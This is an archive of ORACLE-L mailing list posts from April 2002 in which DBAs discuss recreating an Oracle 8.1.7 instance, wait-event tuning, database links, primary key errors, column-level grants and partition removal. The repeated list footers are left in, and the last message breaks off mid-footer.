If anybody has seen this since I last asked the list, and has a solution,
please speak up now as this will save me the time of dropping/recreating the
instance..
Moving on - what would you consider the best approach to dropping and
recreating an instance on a Win32 platform? In the past (as these are purely
test instances) I have simply blasted the whole directories (Oracle and
all), then deleted any mention of Oracle within the registry (after taking
a backup of course), and moved on to a completely fresh install (usually to
go to a higher version). This time though, I would like to keep 8.1.7
installed on this box, and would prefer to keep Oracle installed, and simply
drop and recreate a fresh (empty) instance..
How would you go about doing this?
Advanced thanks.
Mark
===
Mark Leith | T: +44 (0)1905 330 281
Sales Marketing | F: +44 (0)870 127 5283
Cool Tools UK Ltd | E: [EMAIL PROTECTED]
===
http://www.cool-tools.co.uk
Maximising throughput performance
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Mark Leith
INET: [EMAIL PROTECTED]
Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists
To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from). You may
also send the HELP command for other information (like subscribing).
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Mercadante, Thomas F
INET: [EMAIL PROTECTED]
Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists
To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from). You may
also send the HELP command for other information (like subscribing).
Re: Best way to drop and recreate and instance?
The db config assistanct has a 'delete db' option that works quite well. even if it cannot connect to the db, it will still get rid of the registry and services bits for the db hth connor --- Mark Leith [EMAIL PROTECTED] wrote: Hi All, I have *finally* got time to drop one of our test instances and recreate it (tomorrow), and wanted some feedback from all of you as to the best way to go around this? The current instance is 8.1.7. on a Win2K machine.. The reason that I'm dropping/recreating (some of you may remember this) is because I simply *CANNOT* drop a user: salesconnect sys/sys@sales Connected. salesselect username, password 2 from dba_users 3where username = 'SCOTT'; USERNAME PASSWORD -- -- SCOTT F894844C34402B67 salesdrop user scott cascade; drop user scott cascade * ERROR at line 1: ORA-00604: error occurred at recursive SQL level 1 ORA-00942: table or view does not exist LOL! If anybody has seen this since I last asked the list, and has a solution, please speak up now as this will save me the time of dropping/recreating the instance.. Moving on - what would you consider the best approach to dropping and recreating an instance on a Win32 platform? In the past (as these are purely test instances) I have simply blasted the whole directories (Oracle and all), then deleted any mention of Oracle within the registry (after taking a backup of course), and moved on to a completely fresh install (usually to go to a higher version). This time though, I would like to keep 8.1.7 installed on this box, and would prefer to keep Oracle installed, and simply drop and recreate a fresh (empty) instance.. How would you go about doing this? Advanced thanks. Mark === Mark Leith | T: +44 (0)1905 330 281 Sales Marketing | F: +44 (0)870 127 5283 Cool Tools UK Ltd | E: [EMAIL PROTECTED] === http://www.cool-tools.co.uk Maximising throughput performance -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Mark Leith INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). = Connor McDonald http://www.oracledba.co.uk (mirrored at http://www.oradba.freeserve.co.uk) Some days you're the pigeon, some days you're the statue __ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: =?iso-8859-1?q?Connor=20McDonald?= INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: Why wait?
Thats fine for expensive sql...but waits can be a whole lot more than that... (Trivial example) session 1: delete from blah where x = 1; session 2: delete from blah where x = 1; session 3: delete from blah where x = 1; etc The wait stats will quickly show up the problem here... hth connor --- Greg Moore [EMAIL PROTECTED] wrote: There's something I don't understand. Why use the wait interface to investigate db file scattered read or db file sequential read? The end result is finding an SQL statement that does a lot of reads. There's no guarantee it's a poorly tuned SQL statement, just that it does a lot of reads. If that's what you want, why not just query v$sql and order by physical reads? Doing this is a whole lot easier. Also, unlike the hit and miss results from v$session_wait, v$sql provides a comprehensive picture. Thanks for your input. Cheers! = Connor McDonald http://www.oracledba.co.uk (mirrored at http://www.oradba.freeserve.co.uk) Some days you're the pigeon, some days you're the statue __ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: =?iso-8859-1?q?Connor=20McDonald?= INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: Currval and buffer gets
For this script I get following results on 8161 on DGUX
SQL 1
run time using view x_$dual in centiseconds=1400
run time using table dual in centiseconds=2600
-
On 9012 on AIX I get
SQL 1
run time using view x_$dual in centiseconds=600
run time using table dual in
centiseconds=900.0003
--
On 8161 here is the output from tkprof for simple loop of assigning sysdate
to a local variable.
DECLARE
dummy date;
BEGIN
FOR i IN 1..10 LOOP
dummy := SYSDATE;
END LOOP;
END;
call count cpuelapsed disk querycurrent
rows
--- -- -- -- -- --
--
Parse1 0.00 0.00 0 0 0
0
Execute 0 0.00 0.00 0 0 0
0
Fetch0 0.00 0.00 0 0 0
0
--- -- -- -- -- --
--
total1 0.00 0.00 0 0 0
0
Misses in library cache during parse: 0
Optimizer goal: RULE
Parsing user id: SYS
SELECT SYSDATE
FROM
SYS.DUAL
call count cpuelapsed disk querycurrent
rows
--- -- -- -- -- --
--
Parse1 0.00 0.01 0 0 0
0
Execute 36646 5.85 5.62 0 0 0
0
Fetch36646 3.60 3.17 0 36646 146584
36646
--- -- -- -- -- --
--
total73293 9.45 8.80 0 36646 146584
36646
Misses in library cache during parse: 0
Optimizer goal: RULE
Parsing user id: SYS (recursive depth: 1)
For the same loop on 9012 I get following ...
DECLARE
dummy date;
BEGIN
FOR i IN 1..10 LOOP
dummy := SYSDATE;
END LOOP;
END;
call count cpuelapsed disk querycurrent
rows
--- -- -- -- -- --
--
Parse1 0.01 0.00 0 0 0
0
Execute 1 0.77 0.76 0 0 0
1
Fetch0 0.00 0.00 0 0 0
0
--- -- -- -- -- --
--
total2 0.78 0.76 0 0 0
1
This is not even when using x_$dual.
HTH
Raj
__
Rajendra Jamadagni MIS, ESPN Inc.
Rajendra dot Jamadagni at ESPN dot com
Any opinion expressed here is personal and doesn't reflect that of ESPN Inc.
QOTD: Any clod can have facts, but having an opinion is an art!
-Original Message-
Sent: Tuesday, April 23, 2002 9:23 PM
To: Multiple recipients of list ORACLE-L
Thanks for the test.
I ran this test to compare the performance difference dealing with dual and
x$dual:
declare
nn number;
ss1 date;
ss2 date;
begin
ss1 := sysdate;
for i in 1..10 loop
select 2 into nn from sys.x_$dual;
end loop;
ss2 := sysdate;
dbms_output.put_line('run time using view x_$dual in centiseconds='||(ss2 -
ss1 ) * 24 * 60 * 60 * 100);
---
ss1 := sysdate;
for i in 1..10 loop
select 2 into nn from dual;
end loop;
ss2 := sysdate;
dbms_output.put_line('run time using table dual in centiseconds='||(ss2 -
ss1 ) * 24 * 60 * 60 * 100);
end;
***1
This e-mail message is confidential, intended only for the named recipient(s) above
and may contain information that is privileged, attorney work product or exempt from
disclosure under applicable law. If you have received this message in error, or are
not the named recipient(s), please immediately notify ESPN at (860) 766-2000 and
delete this e-mail message from your computer, Thank you.
***1
Re: Drop Database Link
It looks, like you are specifying HOST (SOFTEK.US.ORACLE.COM) not DB_LINK. Do select from dba_db_links, and use the contents of DB_LINK column in your drop ... statement (not HOST column). Igor Neyman, OCP DBA [EMAIL PROTECTED] - Original Message - To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Sent: Wednesday, April 24, 2002 6:48 AM Hi folks! I tried following SQL SQL DROP DATABASE LINK SOFTEK.US.ORACLE.COM; DROP DATABASE LINK SOFTEK.US.ORACLE.COM * ERROR at line 1: ORA-02082: a loopback database link must have a connection qualifier Why such error is coming and how can i drop this database link? Note that while executing this SQL i was connected with the owner and this database link is private database link. Thanks in advance Atul -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Atul Kumar INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Igor Neyman INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: Constraints
what can I do to solve this? RTFM about primary keys. They need to be unique and not null. [EMAIL PROTECTED] wrote: Hallo, I am trying to run this script, ALTER TABLE PBK.K1 ADD CONSTRAINT idx_rollson PRIMARY KEY (BUTIKS_NR) but gets the erormessage ORA-02437: cannot validate (PBK.IDX_ROLLSON) - primary key violated what can I do to solve this? Please help me. Wouldnt it be enough to have unique values in thefield butiks_nr? Thanks in advance Roland -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Dennis M. Heisler INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: column level grants
Do it indirectly, creating a view with col1 and col2 and granting BBB user privileges to select/update the view. Igor Neyman, OCP DBA [EMAIL PROTECTED] - Original Message - To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Sent: Wednesday, April 24, 2002 8:53 AM Dear gurus ! Is there a way to give column level privileges in 8.1.7 , i.e. i have a table MYTAB (with more than 2 columns) , owned by AAA. I want to grant user BBB the following priveleges : select on AAA.MYTAB.COL1 update on AAA.MYTAB.COL2 is it possible at all in 8.1.7? thanks. -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Andrey Bronfin INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Igor Neyman INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: Anything new from IOUG? + OWI Born!! (Anjo/Mogens, please n
Mogens, I bet Oracle would call it OWIi. As Micro$oft is appending XP to everything, Oracle puts an i to everything. Raj __ Rajendra Jamadagni MIS, ESPN Inc. Rajendra dot Jamadagni at ESPN dot com Any opinion expressed here is personal and doesn't reflect that of ESPN Inc. QOTD: Any clod can have facts, but having an opinion is an art! -Original Message- Sent: Tuesday, April 23, 2002 9:58 PM To: Multiple recipients of list ORACLE-L please n It's so very cool to see the phrase catching on in 2002. Thanks, Kirti. I think the OWI thing just might become common. Now let's see what Oracle comes up with wrt naming standards on something which is quite unique... Mogens ***1 This e-mail message is confidential, intended only for the named recipient(s) above and may contain information that is privileged, attorney work product or exempt from disclosure under applicable law. If you have received this message in error, or are not the named recipient(s), please immediately notify ESPN at (860) 766-2000 and delete this e-mail message from your computer, Thank you. ***1
Re: Partitioned oracle tables
Obviously, partitioned table needs to have at least one partition. Why don't you just try to drop the table, and then recreate it as non-partitioned (if that's, what you want). Igor Neyman, OCP DBA [EMAIL PROTECTED] - Original Message - To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Sent: Wednesday, April 24, 2002 4:43 AM Hi all, We have two partitioned tables, T1 and T2. T1 belongs to one user and has 8 partitions, 3 users have a table called T2 with 8 partitions. We are trying to : 1) Alter tables (T1,T2) drop all partitions 2) Take tablespaces holding the partitions offline 3) Drop tablespaces 4) drop users Trouble is in step step 1 for table T2 where we get a)ora 144083: cannot drop the only partition of a partitioned table b)ora 14404: partitioned table contains partitions in a different tablespace Can anyone try and explain to me the breakdown in my steps to get rid of the partitioning ? Platform: Oracle 81700 on Tru64 Unix Thanking you, --- CSW -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Simon Waibale INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Igor Neyman INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: Memory?
Sergey, Attachments are not going through on this list. Igor Neyman, OCP DBA [EMAIL PROTECTED] - Original Message - To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Sent: Wednesday, April 24, 2002 2:58 AM Hello Clinton, Here is script for calculating memory requirements (shared pool requirements). Tuesday, April 23, 2002, 5:38:33 PM, you wrote: CN Hi all. CN Does anyone have any idea how to calculate the amount of memory each user CN uses during a session? CN This needs to be done to calculate the amount of memory Lawson will use CN during production. CN Any help given will be appreciated. CN Thanks CN Clint CN Confidentiality Warning CN === CN The contents of this message and any attachments are intended solely for the CN addressee's use and may be legally privileged and/or confidential. If you CN are not the addressee indicated in this message, any retention, CN distribution, copying or use of this message is strictly prohibited. If you CN received this message in error, kindly notify the sender immediately by CN reply e-mail and then destroy the message and any copies thereof. The CN content and any views expressed therein are, unless otherwise stated, the CN views of the author and not those of the company or any of its management or CN directors. CN Whilst all reasonable steps are taken to ensure the accuracy and integrity CN of information transmitted, the company does not accept responsibility for CN any corruption of the information or data or breach of confidentiality as a CN result of electronic submission. CN When addressed to the Momentum Employee Benefits clients any opinion or CN advice contained in this e-mail is subject to the terms and conditions CN expressed in any applicable terms of business. -- Best regards, Sergeymailto:[EMAIL PROTECTED] -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Igor Neyman INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: Why wait?
I personally believe that monitoring the SQLArea for any poor performing SQL should also be done on a regular basis (*as well as monitoring the OWI (:P)*).. The end result should be to build as complete a picture as possible as to what is running through the system, where users are waiting, and the response times that they are getting. By and large - 80% of performance problems seen with Oracle databases are caused by poorly performing SQL. With that in mind - my feeling is that this is one of the main areas that a DBA should be monitoring over a period of time, archiving any offenders (whether this be by DISK_READS, BUFFER_GETS, BUFFER_GETS/EXECUTIONS etc..) to a table or flat file or whatever floats your boat, and return to that archive once in a while to see if they can make any improvement to the dogs that are hounding the system.. V$VIEWS are your friends.. Just because somebody recommends monitoring by wait events, doesn't mean you can't go on to monitor by some other criteria, and build a more comprehensive view of what's happening. Just my 0.02 pence Mark === Mark Leith | T: +44 (0)1905 330 281 Sales Marketing | F: +44 (0)870 127 5283 Cool Tools UK Ltd | E: [EMAIL PROTECTED] === http://www.cool-tools.co.uk Maximising throughput performance -Original Message- Sent: 24 April 2002 13:59 To: Multiple recipients of list ORACLE-L There's something I don't understand. Why use the wait interface to investigate db file scattered read or db file sequential read? The end result is finding an SQL statement that does a lot of reads. There's no guarantee it's a poorly tuned SQL statement, just that it does a lot of reads. If that's what you want, why not just query v$sql and order by physical reads? Doing this is a whole lot easier. Also, unlike the hit and miss results from v$session_wait, v$sql provides a comprehensive picture. Thanks for your input. Cheers! -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Mark Leith INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: Constraints
Hi Yes that would be enough however there may be null values and they are not allowed in a primary key (try unique key instead) There is also an exception clause I believe that will put the exceptions in a table for you to fix them (I don't know if this valid for creation though) jack Roland.Skoldblom@ ica.se To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Sent by: cc: (bcc: Jack van Zanen/nlzanen1/External/MEY/NL) [EMAIL PROTECTED] Subject: Constraints 24-04-2002 14:08 Please respond to ORACLE-L Hallo, I am trying to run this script, ALTER TABLE PBK.K1 ADD CONSTRAINT idx_rollson PRIMARY KEY (BUTIKS_NR) but gets the erormessage ORA-02437: cannot validate (PBK.IDX_ROLLSON) - primary key violated what can I do to solve this? Please help me. Wouldnt it be enough to have unique values in thefield butiks_nr? Thanks in advance Roland -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). === De informatie verzonden in dit e-mailbericht is vertrouwelijk en is uitsluitend bestemd voor de geadresseerde. Openbaarmaking, vermenigvuldiging, verspreiding en/of verstrekking van deze informatie aan derden is, behoudens voorafgaande schriftelijke toestemming van Ernst Young, niet toegestaan. Ernst Young staat niet in voor de juiste en volledige overbrenging van de inhoud van een verzonden e-mailbericht, noch voor tijdige ontvangst daarvan. Ernst Young kan niet garanderen dat een verzonden e-mailbericht vrij is van virussen, noch dat e-mailberichten worden overgebracht zonder inbreuk of tussenkomst van onbevoegde derden. Indien bovenstaand e-mailbericht niet aan u is gericht, verzoeken wij u vriendelijk doch dringend het e-mailbericht te retourneren aan de verzender en het origineel en eventuele kopieën te verwijderen en te vernietigen. Ernst Young hanteert bij de uitoefening van haar werkzaamheden algemene voorwaarden, waarin een beperking van aansprakelijkheid is opgenomen. De algemene voorwaarden worden u op verzoek kosteloos toegezonden. = The information contained in this communication is confidential and is intended solely for the use of the individual or entity to whom it is addressed. You should not copy, disclose or distribute this communication without the authority of Ernst Young. Ernst Young is neither liable for the proper and complete transmission of the information contained in this communication nor for any delay in its receipt. Ernst Young does not guarantee that the integrity of this communication has been maintained nor that the communication is free of viruses, interceptions or interference. If you are not the intended recipient of this communication please return the communication to the sender and delete and destroy all copies. In carrying out its engagements, Ernst Young applies general terms and conditions, which contain a clause that limits its liability.
RE: column level grants
Andrey, Having difficulty getting access to the 8i docs just now but the below is an excerpt from the Oracle 7 docs. To grant BLAKE the REFERENCES privilege on the EMPNO column and the UPDATE privilege on the EMPNO, SAL, and COMM columns of the EMP table in the schema SCOTT, issue the following statement: GRANT REFERENCES (empno), UPDATE (empno, sal, comm) ON scott.emp TO blake -Original Message- Sent: Wednesday, April 24, 2002 1:53 PM To: Multiple recipients of list ORACLE-L Dear gurus ! Is there a way to give column level privileges in 8.1.7 , i.e. i have a table MYTAB (with more than 2 columns) , owned by AAA. I want to grant user BBB the following priveleges : select on AAA.MYTAB.COL1 update on AAA.MYTAB.COL2 is it possible at all in 8.1.7? thanks. -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Andrey Bronfin INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Nicoll, Iain (Calanais) INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Column level grants
I deleted the original mail, but You can find this topic in Oracle8i SQL Reference Release 3 (8.1.7) Part Number A85397-01 SQL statement GRANT look under section syntax grant_object_privileges_clause image Although there is a note column Specify the table or view column on which privileges are to be granted. You can specify columns only when granting the INSERT, REFERENCES, or UPDATE privilege. If you do not list columns, the grantee has the specified privilege on all columns in the table or view. Gints Plivna IT Sistçmas, Meríeïa 13, LV1050 Rîga http://www.itsystems.lv/gints/ -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: Best way to drop and recreate and instance?
Mark, Shame on you. Ignoring good old ORADIM? Igor Neyman, OCP DBA [EMAIL PROTECTED] - Original Message - To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Sent: Wednesday, April 24, 2002 9:03 AM Never mind all - I cheated and used the Database Configuration Assistant to drop and create a new one.. ;P -Original Message- Sent: 24 April 2002 12:53 To: Multiple recipients of list ORACLE-L Hi All, I have *finally* got time to drop one of our test instances and recreate it (tomorrow), and wanted some feedback from all of you as to the best way to go around this? The current instance is 8.1.7. on a Win2K machine.. The reason that I'm dropping/recreating (some of you may remember this) is because I simply *CANNOT* drop a user: salesconnect sys/sys@sales Connected. salesselect username, password 2 from dba_users 3where username = 'SCOTT'; USERNAME PASSWORD -- -- SCOTT F894844C34402B67 salesdrop user scott cascade; drop user scott cascade * ERROR at line 1: ORA-00604: error occurred at recursive SQL level 1 ORA-00942: table or view does not exist LOL! If anybody has seen this since I last asked the list, and has a solution, please speak up now as this will save me the time of dropping/recreating the instance.. Moving on - what would you consider the best approach to dropping and recreating an instance on a Win32 platform? In the past (as these are purely test instances) I have simply blasted the whole directories (Oracle and all), then deleted any mention of Oracle within the registry (after taking a backup of course), and moved on to a completely fresh install (usually to go to a higher version). This time though, I would like to keep 8.1.7 installed on this box, and would prefer to keep Oracle installed, and simply drop and recreate a fresh (empty) instance.. How would you go about doing this? Advanced thanks. Mark === Mark Leith | T: +44 (0)1905 330 281 Sales Marketing | F: +44 (0)870 127 5283 Cool Tools UK Ltd | E: [EMAIL PROTECTED] === http://www.cool-tools.co.uk Maximising throughput performance -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Mark Leith INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Mark Leith INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Igor Neyman INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: Best way to drop and recreate and instance?
Hi Mark, Regarding your problem with dropping a user, I've seen something like that before - this was 817 on Solaris, and the DBA there was getting a ORA-00942 at recursive SQL when trying any CTAS. I ran a trace on the statement and found that Oracle was looking for a sys.snap$ table which didn't exist (don't remember the name now). I also found that this database didn't have a single sys.snap$ table while another one on the same release had about 7-8. Later heard from the DBA that they weren't able to get replication working on the database either. Luckily for him, this was a test instance and hence not a serious issue.but I still never found out why those tables were missing. I had suggesting recreating the tables from sql.bsq (figured the db was knackered anyway, might as well try it), but I don't think he ever got around to doing it. I'd be very interested to know if a trace reveals anything to you... Hope this helps a bit.. Mandar. -Original Message- Sent: Wednesday, April 24, 2002 6:33 PM To: Multiple recipients of list ORACLE-L Never mind all - I cheated and used the Database Configuration Assistant to drop and create a new one.. ;P -Original Message- Sent: 24 April 2002 12:53 To: Multiple recipients of list ORACLE-L Hi All, I have *finally* got time to drop one of our test instances and recreate it (tomorrow), and wanted some feedback from all of you as to the best way to go around this? The current instance is 8.1.7. on a Win2K machine.. The reason that I'm dropping/recreating (some of you may remember this) is because I simply *CANNOT* drop a user: salesconnect sys/sys@sales Connected. salesselect username, password 2 from dba_users 3where username = 'SCOTT'; USERNAME PASSWORD -- -- SCOTT F894844C34402B67 salesdrop user scott cascade; drop user scott cascade * ERROR at line 1: ORA-00604: error occurred at recursive SQL level 1 ORA-00942: table or view does not exist LOL! If anybody has seen this since I last asked the list, and has a solution, please speak up now as this will save me the time of dropping/recreating the instance.. Moving on - what would you consider the best approach to dropping and recreating an instance on a Win32 platform? In the past (as these are purely test instances) I have simply blasted the whole directories (Oracle and all), then deleted any mention of Oracle within the registry (after taking a backup of course), and moved on to a completely fresh install (usually to go to a higher version). This time though, I would like to keep 8.1.7 installed on this box, and would prefer to keep Oracle installed, and simply drop and recreate a fresh (empty) instance.. How would you go about doing this? Advanced thanks. Mark === Mark Leith | T: +44 (0)1905 330 281 Sales Marketing | F: +44 (0)870 127 5283 Cool Tools UK Ltd | E: [EMAIL PROTECTED] === http://www.cool-tools.co.uk Maximising throughput performance -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Mark Leith INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Mark Leith INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like 